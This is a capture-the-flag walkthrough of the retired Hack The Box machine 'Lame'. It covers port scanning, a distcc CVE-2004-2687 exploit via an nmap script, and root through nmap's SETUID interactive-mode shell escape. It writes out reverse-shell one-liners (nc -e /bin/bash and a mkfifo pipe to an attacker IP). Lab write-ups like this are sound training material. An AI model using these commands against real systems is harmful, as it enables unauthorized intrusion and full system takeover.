About Lame
Lame is a beginner level machine, requiring only one exploit to obtain root access. It was the first machine published on Hack The Box and was often the first machine for new users prior to its retirement.
Enumeration
rustscan
One tool that aids in port scanning is rustscan. Let’s consider an example where we want to scan the IP address 10.10.10.3. The command we use is:
1 | rustscan -a 10.10.10.3 |
The -a flag signifies scanning all 65,535 ports on the IP address
Upon executing the command, we receive an output that lists open ports and their corresponding numbers on the target system:
1 | Open 10.10.10.3:21 |
Each line represents an open port and its associated service:
- Port 21: Commonly used for FTP, facilitating file transfers.
- Port 22: Typically employed for SSH, enabling secure remote access.
- Port 139: Linked to NetBIOS Session Service for Windows file and printer sharing.
- Port 3632: Possibly related to Distributed Compiler Daemon (distcc) communication.
- Port 445: Used for Microsoft-DS (Directory Services) and Windows file sharing.
nmap
To take a step further and understand the services behind these ports, we turn to Nmap, a versatile network scanning tool. Here’s the command we use:
1 | nmap 10.10.10.3 -A -p 21,22,139,3632,445 -Pn |
-A: The-Aflag enables aggressive scanning, including OS detection, version detection, script scanning, and traceroute.-p 21,22,139,3632,445: The-pflag specifies the ports we want to examine.-Pn: The-Pnflag tells Nmap not to perform host discovery; we assume the host is online.
When we execute the command, Nmap provides a wealth of information about the target system’s open ports, services, and more:
1 | Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-13 13:19 CEST |
The ftp server with anonymous is empty.
let’s search what is distccd on the port 3632.
User
https://book.hacktricks.xyz/network-services-pentesting/3632-pentesting-distcc
Exploiting Vulnerabilities: distcc CVE-2004-2687
Let’s start by exploring how the Netcat (nc) tool can be used to establish connections between systems. The command we’ll use is:
1 | nc -lnvp 4444 |
This command listens for incoming connections on port 4444. It’s commonly used to establish reverse shell connections, which can be a vital component of penetration testing and security research.
For this demonstration, we’ll focus on the distcc service and a known vulnerability, CVE-2004-2687. The command to exploit this vulnerability is:
1 | nmap -p 3632 10.10.10.3 --script distcc-cve2004-2687 --script-args="distcc-cve2004-2687.cmd='nc -nv 10.10.14.14 4444 -e /bin/bash'" |
-p 3632: Specifies the port to target.--script distcc-cve2004-2687: Instructs Nmap to use thedistcc-cve2004-2687script.--script-args="distcc-cve2004-2687.cmd='nc -nv 10.10.14.14 4444 -e /bin/bash'": Provides arguments to the script, in this case, a command to execute.
Upgrade the shell
Enhancing Usability: Optimal Reverse Shell
To upgrade the shell, we start by creating an improved connection point. Using Netcat (nc), we initiate a listener:
1 | nc -lnvp 4949 |
Next, we explore an optimized method to create a reverse shell that ensures better interactivity and ease of use. The command we’ll employ is:
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.14 4949 >/tmp/f |
Breaking down the command:
rm /tmp/f: Deletes any existing named pipe.mkfifo /tmp/f: Creates a named pipe.cat /tmp/f|sh -i 2>&1: Redirects the content of the named pipe into a shell.nc 10.10.14.14 4949 >/tmp/f: Connects the shell to the listening Netcat instance.
Enhancing Interaction and Usability
Additionally, we have techniques to improve the user experience while interacting with the compromised system:
python -c 'import pty;pty.spawn("/bin/bash")': Initiates an interactive shell using Python’sptymodule, which provides better terminal emulation.export TERM=xterm: Sets the terminal type to allow commands likeclearto function correctly.ctrl+z: Suspends the shell.stty raw -echo; fg: Enhances shell usability by enabling auto-completion and line editing.
Root
Linux Smart Enumeration, often abbreviated as lse.sh, is a script written in Bash that facilitates the assessment of Linux-based systems. It serves as a robust tool for identifying system information, potential vulnerabilities, and security misconfigurations. lse.sh aims to provide an all-inclusive view of the system’s security posture.
SETUID Vulnerabilities
SETUID (Set User ID) is a permission bit in Unix-like operating systems that allows users to execute a specific program with the privileges of the program’s owner, often root. A SETUID vulnerability arises when a program with elevated privileges contains flaws that can be exploited by attackers to gain unauthorized access or escalate privileges.
You can use this vulnerability to escalate privileges, gtfobin is a great tool to find how to exploit them.
https://gtfobins.github.io/gtfobins/nmap/
Nmap, renowned for its port scanning capabilities, also boasts an interactive mode that allows users to execute shell commands directly. The command to enter interactive mode is:
1 | nmap --interactive |
Once inside Nmap’s interactive mode, an unexpected avenue to privilege escalation emerges. By executing a shell escape command, you can effectively break out of Nmap and gain access to a system shell:
1 | !sh |
